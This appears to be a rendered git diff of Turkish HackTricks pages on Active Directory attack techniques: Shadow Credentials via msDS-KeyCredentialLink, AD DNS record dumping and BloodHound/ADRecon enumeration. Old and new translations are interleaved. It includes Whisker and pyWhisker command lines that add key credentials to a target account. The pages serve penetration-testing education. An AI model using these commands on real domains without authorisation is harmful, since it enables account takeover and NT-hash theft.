PETOOH, oldukça zor anlaşılır bir dil olduğu için, kodları okumak ve anlamak oldukça zor olabilir. Ancak, PETOOH kodlarını çözmek için bazı araçlar ve çevirmenler mevcuttur. Bu araçlar, PETOOH kodunu daha anlaşılır bir dile çevirerek, kodun ne yaptığını anlamayı kolaylaştırır.
PETOOH, esas olarak eğlence amaçlı kullanılan bir dil olsa da, bazı hackerlar tarafından şifreleme ve gizlilik amaçlı kullanılabilir. PETOOH kodları, normal bir programlama dilindeki gibi çalışmaz ve bu nedenle kodları çözmek oldukça zor olabilir. Bu nedenle, PETOOH kodlarını çözmek için özel araçlara ve çevirmenlere ihtiyaç duyulabilir.
```
KoKoKoKoKoKoKoKoKoKo Kud-Kudah
KoKoKoKoKoKoKoKo kudah kO kud-Kudah Kukarek kudah
@ -76,14 +73,17 @@ KoKoKoKo Kud-Kudah KoKoKoKo kudah kO kud-Kudah kO Kukarek
kOkOkOkOkO Kukarek Kukarek kOkOkOkOkOkOkO
Kukarek
```
{% hint style="success" %}
AWS Hacking'i öğrenin ve pratik yapın:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Eğitim AWS Kırmızı Takım Uzmanı (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
GCP Hacking'i öğrenin ve pratik yapın: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Eğitim GCP Kırmızı Takım Uzmanı (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Sıfırdan kahraman olmak için AWS hackleme öğrenin</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Kırmızı Takım Uzmanı)</strong></a><strong>!</strong></summary>
<summary>HackTricks'i Destekleyin</summary>
* Bir **cybersecurity şirketinde mi çalışıyorsunuz**? **Şirketinizi HackTricks'te reklamını görmek** ister misiniz? veya **PEASS'ın en son sürümüne veya HackTricks'i PDF olarak indirmek** ister misiniz? [**ABONELİK PLANLARINI**](https://github.com/sponsors/carlospolop) kontrol edin!
* [**The PEASS Ailesi'ni**](https://opensea.io/collection/the-peass-family), özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonunu keşfedin.
* [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin.
* [**💬**](https://emojipedia.org/speech-balloon/) [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) **katılın** veya **Twitter**'da beni takip edin 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Hacking hilelerinizi [hacktricks repo](https://github.com/carlospolop/hacktricks) ve [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)'ya PR göndererek paylaşın**.
* [**abonelik planlarını**](https://github.com/sponsors/carlospolop) kontrol edin!
* **Bize katılın** 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) veya **bizi** **Twitter'da** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)** takip edin.**
* **Hacking ipuçlarını paylaşmak için** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github reposuna PR gönderin.
</details>
{% endhint %}

View file

@ -1,81 +1,87 @@
# Shadow Kimlik Bilgileri
# Shadow Credentials
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>AWS hackleme becerilerini sıfırdan kahraman seviyesine öğrenin</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Kırmızı Takım Uzmanı)</strong></a><strong>!</strong></summary>
<summary>Support HackTricks</summary>
* Bir **cybersecurity şirketinde** çalışıyor musunuz? **Şirketinizi HackTricks'te reklamını yapmak** ister misiniz? veya **PEASS'ın en son sürümüne veya HackTricks'i PDF olarak indirmek** ister misiniz? [**ABONELİK PLANLARINI**](https://github.com/sponsors/carlospolop) kontrol edin!
* [**The PEASS Ailesi'ni**](https://opensea.io/collection/the-peass-family), özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonunu keşfedin.
* [**Resmi PEASS & HackTricks ürünlerine**](https://peass.creator-spring.com) sahip olun.
* [**💬**](https://emojipedia.org/speech-balloon/) [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) **katılın** veya **Twitter**'da beni takip edin 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Hacking hilelerinizi [hacktricks repo](https://github.com/carlospolop/hacktricks) ve [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)'ya PR göndererek paylaşın**.
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}
## Giriş <a href="#3f17" id="3f17"></a>
## Intro <a href="#3f17" id="3f17"></a>
**Bu teknik hakkındaki tüm bilgiler için orijinal yazıyı kontrol edin [buradan](https://posts.specterops.io/shadow-credentials-abusing-key-trust-account-mapping-for-takeover-8ee1a53566ab).**
**Check the original post for [all the information about this technique](https://posts.specterops.io/shadow-credentials-abusing-key-trust-account-mapping-for-takeover-8ee1a53566ab).**
Özet olarak: bir kullanıcının/bilgisayarın **msDS-KeyCredentialLink** özelliğine yazabilirseniz, **nesnenin NT hash'ini alabilirsiniz**.
Özetle: Eğer bir kullanıcı/bilgisayarın **msDS-KeyCredentialLink** özelliğine yazabiliyorsanız, o nesnenin **NT hash'ini** alabilirsiniz.
Yazıda, **genel-özel anahtar kimlik doğrulama kimlik bilgileri** kurarak hedefin NTLM hash'ini içeren benzersiz bir **Hizmet Bileti** elde etmek için bir yöntem açıklanmaktadır. Bu süreç, şifrelenmiş NTLM_SUPPLEMENTAL_CREDENTIAL'ı içeren Privilege Attribute Certificate (PAC) içerir ve bu PAC çözülebilir.
Gönderide, hedefin NTLM hash'ini içeren benzersiz bir **Service Ticket** almak için **public-private key authentication credentials** kurma yöntemi özetlenmiştir. Bu süreç, şifrelenmiş NTLM_SUPPLEMENTAL_CREDENTIAL'in de bulunduğu Privilege Attribute Certificate (PAC) ile ilgilidir ve bu, deşifre edilebilir.
### Gereksinimler
### Requirements
Bu teknik uygulanabilmesi için belirli koşulların sağlanması gerekmektedir:
- En az bir Windows Server 2016 Etki Alanı Denetleyicisi gerekmektedir.
- Etki Alanı Denetleyicisi üzerinde bir sunucu kimlik doğrulama dijital sertifikası yüklü olmalıdır.
- Active Directory, Windows Server 2016 İşlevsel Düzeyinde olmalıdır.
- Hedef nesnenin msDS-KeyCredentialLink özelliğini değiştirme yetkisine sahip bir hesap gerekmektedir.
Bu tekniği uygulamak için belirli koşulların sağlanması gerekir:
- En az bir Windows Server 2016 Domain Controller gereklidir.
- Domain Controller'da bir sunucu kimlik doğrulama dijital sertifikası yüklü olmalıdır.
- Active Directory, Windows Server 2016 Fonksiyonel Seviyesinde olmalıdır.
- Hedef nesnenin msDS-KeyCredentialLink niteliğini değiştirmek için yetkilendirilmiş bir hesaba ihtiyaç vardır.
## Kötüye Kullanım
## Abuse
Bilgisayar nesneleri için Key Trust'ın kötüye kullanımı, bir Bilet Verme Bileti (TGT) ve NTLM hash'ini elde etmekten öte adımları içerir. Seçenekler şunları içerir:
1. Ayrıcalıklı kullanıcılar olarak hareket etmek için bir **RC4 gümüş bileti** oluşturma.
2. **S4U2Self** ile TGT kullanarak **ayrıcalıklı kullanıcıları taklit etme**, hizmet adına bir hizmet sınıfı eklemek için Hizmet Biletinde değişiklik yapılmasını gerektirir.
Bilgisayar nesneleri için Key Trust'un kötüye kullanımı, Ticket Granting Ticket (TGT) ve NTLM hash'ini elde etmenin ötesinde adımlar içerir. Seçenekler şunlardır:
1. Hedef ana bilgisayarda ayrıcalıklı kullanıcılar olarak hareket etmek için bir **RC4 silver ticket** oluşturmak.
2. **S4U2Self** ile TGT'yi kullanarak **ayrıcalıklı kullanıcıların** taklit edilmesi, bu da hizmet adını eklemek için Service Ticket'te değişiklikler gerektirir.
Key Trust kötüye kullanımının önemli bir avantajı, saldırgan tarafından oluşturulan özel anahtarla sınırlı olmasıdır. Bu, potansiyel olarak savunmasız hesaplara yetkilendirme yapmadan ve zor kaldırılabilecek bir bilgisayar hesabı oluşturmayı gerektirmez.
Key Trust kötüye kullanımının önemli bir avantajı, saldırgan tarafından üretilen özel anahtarla sınırlı olmasıdır; bu, potansiyel olarak savunmasız hesaplara devredilmesini önler ve kaldırılması zor olabilecek bir bilgisayar hesabı oluşturulmasını gerektirmez.
## Araçlar
## Tools
### [**Whisker**](https://github.com/eladshamir/Whisker)
Bu saldırı için bir C# arabirimi sağlayan DSInternals'e dayanmaktadır. Whisker ve Python karşılığı olan **pyWhisker**, `msDS-KeyCredentialLink` özelliğini manipüle etmek için kullanılır ve Active Directory hesapları üzerinde kontrol sağlar. Bu araçlar, hedef nesneden anahtar kimlik bilgileri eklemeyi, listelemeyi, kaldırmayı ve temizlemeyi içeren çeşitli işlemleri destekler.
Bu saldırı için bir C# arayüzü sağlayan DSInternals'a dayanmaktadır. Whisker ve Python karşılığı **pyWhisker**, Active Directory hesapları üzerinde kontrol sağlamak için `msDS-KeyCredentialLink` niteliğini manipüle etmeyi mümkün kılar. Bu araçlar, hedef nesneden anahtar kimlik bilgilerini ekleme, listeleme, kaldırma ve temizleme gibi çeşitli işlemleri destekler.
**Whisker** işlevleri şunları içerir:
- **Ekle**: Bir anahtar çifti oluşturur ve bir anahtar kimlik bilgisi ekler.
- **Listele**: Tüm anahtar kimlik bilgisi girişlerini görüntüler.
- **Kaldır**: Belirtilen bir anahtar kimlik bilgisini siler.
- **Temizle**: Tüm anahtar kimlik bilgilerini siler, meşru WHfB kullanımını bozabilir.
**Whisker** işlevleri şunlardır:
- **Add**: Bir anahtar çifti oluşturur ve bir anahtar kimlik bilgisi ekler.
- **List**: Tüm anahtar kimlik bilgisi girişlerini görüntüler.
- **Remove**: Belirtilen bir anahtar kimliğini siler.
- **Clear**: Tüm anahtar kimlik bilgilerini siler, bu da meşru WHfB kullanımını bozabilir.
```shell
Whisker.exe add /target:computername$ /domain:constoso.local /dc:dc1.contoso.local /path:C:\path\to\file.pfx /password:P@ssword1
```
### [pyWhisker](https://github.com/ShutdownRepo/pywhisker)
Bu, Whisker işlevselliğini **UNIX tabanlı sistemlere** genişletir ve Impacket ve PyDSInternals'i kullanarak kapsamlı saldırı yetenekleri sağlar. Bu yetenekler arasında KeyCredentials'ın listelenmesi, ekleme ve kaldırma işlemleri ile JSON formatında içe aktarma ve dışa aktarma bulunur.
Whisker işlevselliğini **UNIX tabanlı sistemler** için genişletir, kapsamlı istismar yetenekleri için Impacket ve PyDSInternals'dan yararlanarak KeyCredentials'ı listeleme, ekleme ve kaldırma işlemlerini gerçekleştirir ve bunları JSON formatında içe ve dışa aktarır.
```shell
python3 pywhisker.py -d "domain.local" -u "user1" -p "complexpassword" --target "user2" --action "list"
```
### [ShadowSpray](https://github.com/Dec0ne/ShadowSpray/)
ShadowSpray, geniş kullanıcı gruplarının etki alanı nesneleri üzerinde sahip olabileceği GenericWrite/GenericAll izinlerini sömürerek ShadowCredentials'ı geniş kapsamda uygulamayı amaçlar. Bu, etki alanına giriş yapmayı, etki alanının işlevsel seviyesini doğrulamayı, etki alanı nesnelerini numaralandırmayı ve TGT edinimi ve NT hash açığa çıkarmak için KeyCredentials eklemeyi denemeyi içerir. Temizleme seçenekleri ve özyinelemeli sömürü taktikleri, kullanışlılığını artırır.
ShadowSpray, **genel kullanıcı gruplarının alan nesneleri üzerinde sahip olabileceği GenericWrite/GenericAll izinlerini istismar etmeyi** amaçlar ve ShadowCredentials'ı geniş bir şekilde uygulamak için kullanılır. Bu, alanın işlevsel seviyesini doğrulamak, alan nesnelerini listelemek ve TGT edinimi ve NT hash ifşası için KeyCredentials eklemeye çalışmak üzere alanına giriş yapmayı içerir. Temizlik seçenekleri ve yinelemeli istismar taktikleri, kullanımını artırır.
## Referanslar
## References
* [https://posts.specterops.io/shadow-credentials-abusing-key-trust-account-mapping-for-takeover-8ee1a53566ab](https://posts.specterops.io/shadow-credentials-abusing-key-trust-account-mapping-for-takeover-8ee1a53566ab)
* [https://github.com/eladshamir/Whisker](https://github.com/eladshamir/Whisker)
* [https://github.com/Dec0ne/ShadowSpray/](https://github.com/Dec0ne/ShadowSpray/)
* [https://github.com/ShutdownRepo/pywhisker](https://github.com/ShutdownRepo/pywhisker)
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>AWS hackleme konusunda sıfırdan kahraman olmak için</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>'ı öğrenin!</strong></summary>
<summary>Support HackTricks</summary>
* Bir **cybersecurity şirketinde** çalışıyor musunuz? **Şirketinizi HackTricks'te reklamını yapmak** ister misiniz? veya **PEASS'ın en son sürümüne erişmek veya HackTricks'i PDF olarak indirmek** ister misiniz? [**ABONELİK PLANLARINI**](https://github.com/sponsors/carlospolop) kontrol edin!
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family) koleksiyonumuzu keşfedin, özel [**NFT'lerimizi**](https://opensea.io/collection/the-peass-family) edinin
* [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin
* [**💬**](https://emojipedia.org/speech-balloon/) [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) **katılın** veya **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**'u takip edin**.
* **Hacking hilelerinizi [hacktricks repo](https://github.com/carlospolop/hacktricks) ve [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)'ya PR göndererek paylaşın**.
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}

View file

@ -1,20 +1,23 @@
# AD DNS Kayıtları
{% hint style="success" %}
AWS Hacking'i öğrenin ve pratik yapın:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
GCP Hacking'i öğrenin ve pratik yapın: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>htARTE (HackTricks AWS Kırmızı Takım Uzmanı)</strong> ile sıfırdan kahramana kadar AWS hacklemeyi öğrenin<strong>!</strong></summary>
<summary>HackTricks'i Destekleyin</summary>
* Bir **cybersecurity şirketinde** çalışıyor musunuz? **Şirketinizi HackTricks'te reklamını görmek** ister misiniz? veya **PEASS'ın en son sürümüne veya HackTricks'i PDF olarak indirmek** ister misiniz? [**ABONELİK PLANLARINI**](https://github.com/sponsors/carlospolop) kontrol edin!
* [**The PEASS Ailesi'ni**](https://opensea.io/collection/the-peass-family), özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuzu keşfedin
* [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin
* [**💬**](https://emojipedia.org/speech-balloon/) [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) **katılın** veya **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**'u takip edin**.
* **Hacking hilelerinizi [hacktricks repo](https://github.com/carlospolop/hacktricks) ve [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)'ya PR göndererek paylaşın**.
* [**abonelik planlarını**](https://github.com/sponsors/carlospolop) kontrol edin!
* **💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) katılın ya da **Twitter**'da **bizi takip edin** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Hacking ipuçlarını paylaşmak için** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github reposuna PR gönderin.
</details>
{% endhint %}
Varsayılan olarak, Active Directory'deki **herhangi bir kullanıcı**, etki alanı veya orman DNS bölgelerindeki **tüm DNS kayıtlarını sıralayabilir**, bir AD ortamında bir bölge transferine benzer şekilde (kullanıcılar bir DNS bölgesinin alt nesnelerini listeleyebilir).
Varsayılan olarak **Active Directory'deki herhangi bir kullanıcı**, alan veya orman DNS alanlarındaki **tüm DNS kayıtlarını listeleyebilir**, bu, bir alan transferine benzer (kullanıcılar, bir AD ortamında bir DNS alanının alt nesnelerini listeleyebilir).
[**adidnsdump**](https://github.com/dirkjanm/adidnsdump) aracı, iç ağların keşfi için bölgedeki **tüm DNS kayıtlarının sıralanmasını** ve **dışa aktarılmasını** sağlar.
[**adidnsdump**](https://github.com/dirkjanm/adidnsdump) aracı, iç ağların keşif amaçları için alandaki **tüm DNS kayıtlarının** **listelemesini** ve **dışa aktarılmasını** sağlar.
```bash
git clone https://github.com/dirkjanm/adidnsdump
cd adidnsdump
@ -25,14 +28,17 @@ cat records.csv
```
Daha fazla bilgi için [https://dirkjanm.io/getting-in-the-zone-dumping-active-directory-dns-with-adidnsdump/](https://dirkjanm.io/getting-in-the-zone-dumping-active-directory-dns-with-adidnsdump/) adresini okuyun.
{% hint style="success" %}
AWS Hacking öğrenin ve pratik yapın:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
GCP Hacking öğrenin ve pratik yapın: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>AWS hackleme konusunda sıfırdan kahramana dönüşün</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Kırmızı Takım Uzmanı)</strong></a><strong>!</strong></summary>
<summary>HackTricks'i Destekleyin</summary>
* Bir **cybersecurity şirketinde mi çalışıyorsunuz**? **Şirketinizi HackTricks'te reklamını görmek** veya **PEASS'ın en son sürümüne erişmek veya HackTricks'i PDF olarak indirmek** ister misiniz? [**ABONELİK PLANLARINI**](https://github.com/sponsors/carlospolop) kontrol edin!
* [**The PEASS Ailesi'ni**](https://opensea.io/collection/the-peass-family), özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuzu keşfedin.
* [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin.
* [**💬**](https://emojipedia.org/speech-balloon/) [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) **katılın** veya **Twitter**'da beni takip edin 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Hacking hilelerinizi [hacktricks repo](https://github.com/carlospolop/hacktricks) ve [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)'ya PR göndererek paylaşın**.
* [**abonelik planlarını**](https://github.com/sponsors/carlospolop) kontrol edin!
* **💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) katılın ya da **Twitter'da** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**'i takip edin.**
* **Hacking ipuçlarını paylaşmak için** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github reposuna PR gönderin.
</details>
{% endhint %}

View file

@ -1,86 +1,90 @@
# BloodHound ve Diğer AD Enum Araçları
# BloodHound & Diğer AD Enum Araçları
{% hint style="success" %}
AWS Hacking'i öğrenin ve pratik yapın:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
GCP Hacking'i öğrenin ve pratik yapın: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>htARTE (HackTricks AWS Red Team Expert)</strong> ile sıfırdan kahraman olacak şekilde AWS hacklemeyi öğrenin<strong>!</strong></summary>
<summary>HackTricks'i Destekleyin</summary>
* Bir **cybersecurity şirketinde** çalışıyor musunuz? **Şirketinizi HackTricks'te reklamını görmek** ister misiniz? veya **PEASS'ın en son sürümüne veya HackTricks'i PDF olarak indirmek** ister misiniz? [**ABONELİK PLANLARINI**](https://github.com/sponsors/carlospolop) kontrol edin!
* [**The PEASS Ailesi'ni**](https://opensea.io/collection/the-peass-family), özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonunu keşfedin
* [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) alın
* [**💬**](https://emojipedia.org/speech-balloon/) [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) **katılın** veya **Twitter**'da takip edin 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Hacking hilelerinizi [hacktricks repo'ya](https://github.com/carlospolop/hacktricks) ve [hacktricks-cloud repo'ya](https://github.com/carlospolop/hacktricks-cloud) PR göndererek paylaşın**.
* [**abonelik planlarını**](https://github.com/sponsors/carlospolop) kontrol edin!
* **💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) katılın ya da **Twitter**'da **bizi takip edin** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Hacking ipuçlarını paylaşmak için** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github reposuna PR gönderin.
</details>
{% endhint %}
## AD Explorer
[AD Explorer](https://docs.microsoft.com/en-us/sysinternals/downloads/adexplorer), Sysinternal Suite'den bir araçtır:
[AD Explorer](https://docs.microsoft.com/en-us/sysinternals/downloads/adexplorer) Sysinternal Suite'ten:
> Gelişmiş bir Active Directory (AD) görüntüleyici ve düzenleyicidir. AD Explorer'ı kullanarak AD veritabanında kolayca gezinebilir, favori konumları tanımlayabilir, nesne özelliklerini ve özniteliklerini açmadan görüntüleyebilir, izinleri düzenleyebilir, bir nesnenin şemasını görüntüleyebilir ve kaydedip yeniden çalıştırabileceğiniz karmaşık aramaları gerçekleştirebilirsiniz.
> Gelişmiş bir Active Directory (AD) görüntüleyici ve düzenleyici. AD Explorer'ı, bir AD veritabanında kolayca gezinmek, favori konumları tanımlamak, nesne özelliklerini ve niteliklerini diyalog kutuları açmadan görüntülemek, izinleri düzenlemek, bir nesnenin şemasını görüntülemek ve kaydedip yeniden çalıştırabileceğiniz karmaşık aramalar gerçekleştirmek için kullanabilirsiniz.
### Anlık Görüntüler
AD Explorer, AD'nin bir anlık görüntülerini oluşturabilir, böylece çevrimdışı olarak kontrol edebilirsiniz.\
Bu, çevrimdışı olarak zafiyetleri keşfetmek veya AD DB'nin farklı durumlarını karşılaştırmak için kullanılabilir.
AD Explorer, AD'nin anlık görüntülerini oluşturabilir, böylece çevrimdışı kontrol edebilirsiniz.\
Çevrimdışı zafiyetleri keşfetmek veya AD DB'nin farklı durumlarını zaman içinde karşılaştırmak için kullanılabilir.
AD'nin bir anlık görüntüsünü almak için, `File` --> `Create Snapshot`'a gidin ve bir görüntü için bir ad girin.
Bağlanmak için kullanıcı adı, şifre ve yönlendirme gereklidir (herhangi bir AD kullanıcısı gereklidir).
AD'nin anlık görüntüsünü almak için `File` --> `Create Snapshot` yolunu izleyin ve anlık görüntü için bir isim girin.
## ADRecon
[**ADRecon**](https://github.com/adrecon/ADRecon), bir AD ortamından çeşitli verileri çıkaran ve birleştiren bir araçtır. Bilgiler, analizi kolaylaştırmak ve hedef AD ortamının mevcut durumunun bütünsel bir resmini sağlamak için özet görünümler içeren **özel olarak biçimlendirilmiş** bir Microsoft Excel **raporu** şeklinde sunulabilir.
[**ADRecon**](https://github.com/adrecon/ADRecon), bir AD ortamından çeşitli artefaktları çıkaran ve birleştiren bir araçtır. Bilgiler, analiz kolaylığı sağlamak ve hedef AD ortamının mevcut durumu hakkında bütünsel bir resim sunmak için metriklerle birlikte özet görünümler içeren **özel formatlanmış** Microsoft Excel **raporu** şeklinde sunulabilir.
```bash
# Run it
.\ADRecon.ps1
```
## BloodHound
[https://github.com/BloodHoundAD/BloodHound](https://github.com/BloodHoundAD/BloodHound) adresinden alınmıştır.
From [https://github.com/BloodHoundAD/BloodHound](https://github.com/BloodHoundAD/BloodHound)
> BloodHound, [Linkurious](http://linkurio.us/) üzerine inşa edilmiş, [Electron](http://electron.atom.io/) ile derlenmiş, C# veri toplayıcı tarafından beslenen bir Neo4j veritabanıyla çalışan tek sayfalık bir JavaScript web uygulamasıdır.
> BloodHound, [Linkurious](http://linkurio.us/) üzerine inşa edilmiş, [Electron](http://electron.atom.io/) ile derlenmiş, C# veri toplayıcı tarafından beslenen bir [Neo4j](https://neo4j.com/) veritabanına sahip tek sayfa Javascript web uygulamasıdır.
BloodHound, graf teorisi kullanarak Active Directory veya Azure ortamında gizli ve genellikle istenmeyen ilişkileri ortaya çıkarır. Saldırganlar, BloodHound'u kullanarak aksi takdirde hızlı bir şekilde tespit edilemeyecek karmaşık saldırı yollarını kolayca belirleyebilir. Savunma ekipleri, BloodHound'u aynı saldırı yollarını belirlemek ve ortadan kaldırmak için kullanabilir. Hem mavi hem de kırmızı takımlar, BloodHound'u Active Directory veya Azure ortamında ayrıcalık ilişkilerini daha iyi anlamak için kolayca kullanabilir.
BloodHound, bir Active Directory veya Azure ortamındaki gizli ve genellikle istenmeyen ilişkileri ortaya çıkarmak için grafik teorisini kullanır. Saldırganlar, BloodHound'u kullanarak, aksi takdirde hızlı bir şekilde tanımlanması imkansız olan son derece karmaşık saldırı yollarını kolayca belirleyebilirler. Savunucular, BloodHound'u kullanarak aynı saldırı yollarını tanımlayıp ortadan kaldırabilirler. Hem mavi hem de kırmızı takımlar, BloodHound'u kullanarak bir Active Directory veya Azure ortamındaki ayrıcalık ilişkilerini daha derinlemesine anlamak için kolayca faydalanabilirler.
Bu nedenle, [Bloodhound](https://github.com/BloodHoundAD/BloodHound), bir etki alanını otomatik olarak numaralandırabilen, tüm bilgileri kaydedebilen, olası ayrıcalık yükseltme yollarını bulabilen ve grafikler kullanarak tüm bilgileri gösterebilen harika bir araçtır.
Bu nedenle, [Bloodhound ](https://github.com/BloodHoundAD/BloodHound) otomatik olarak bir alanı listeleyebilen, tüm bilgileri kaydedebilen, olası ayrıcalık yükseltme yollarını bulabilen ve tüm bilgileri grafikler kullanarak gösterebilen harika bir araçtır.
Bloodhound, **ingestörler** ve **görselleştirme uygulaması** olmak üzere iki ana bölümden oluşur.
BloodHound, 2 ana bölümden oluşur: **veri toplayıcılar** ve **görselleştirme uygulaması**.
**Ingestörler**, etki alanını **numaralandırmak ve tüm bilgileri çıkarmak** için kullanılır ve görselleştirme uygulamasının anlayabileceği bir formatta veri toplar.
**Veri toplayıcılar**, alanı **listelemek ve tüm bilgileri** görselleştirme uygulamasının anlayacağı bir formatta çıkarmak için kullanılır.
**Görselleştirme uygulaması neo4j** kullanarak tüm bilgilerin nasıl ilişkili olduğunu ve etki alanında ayrıcalıkları yükseltmek için farklı yolları gösterir.
**Görselleştirme uygulaması, tüm bilgilerin nasıl ilişkili olduğunu göstermek ve alandaki ayrıcalıkları yükseltmenin farklı yollarını göstermek için neo4j kullanır.**
### Kurulum
BloodHound CE'nin oluşturulmasından sonra, tüm proje Docker ile kolay kullanım için güncellendi. Başlamak için en kolay yol, önceden yapılandırılmış Docker Compose yapılandırmasını kullanmaktır.
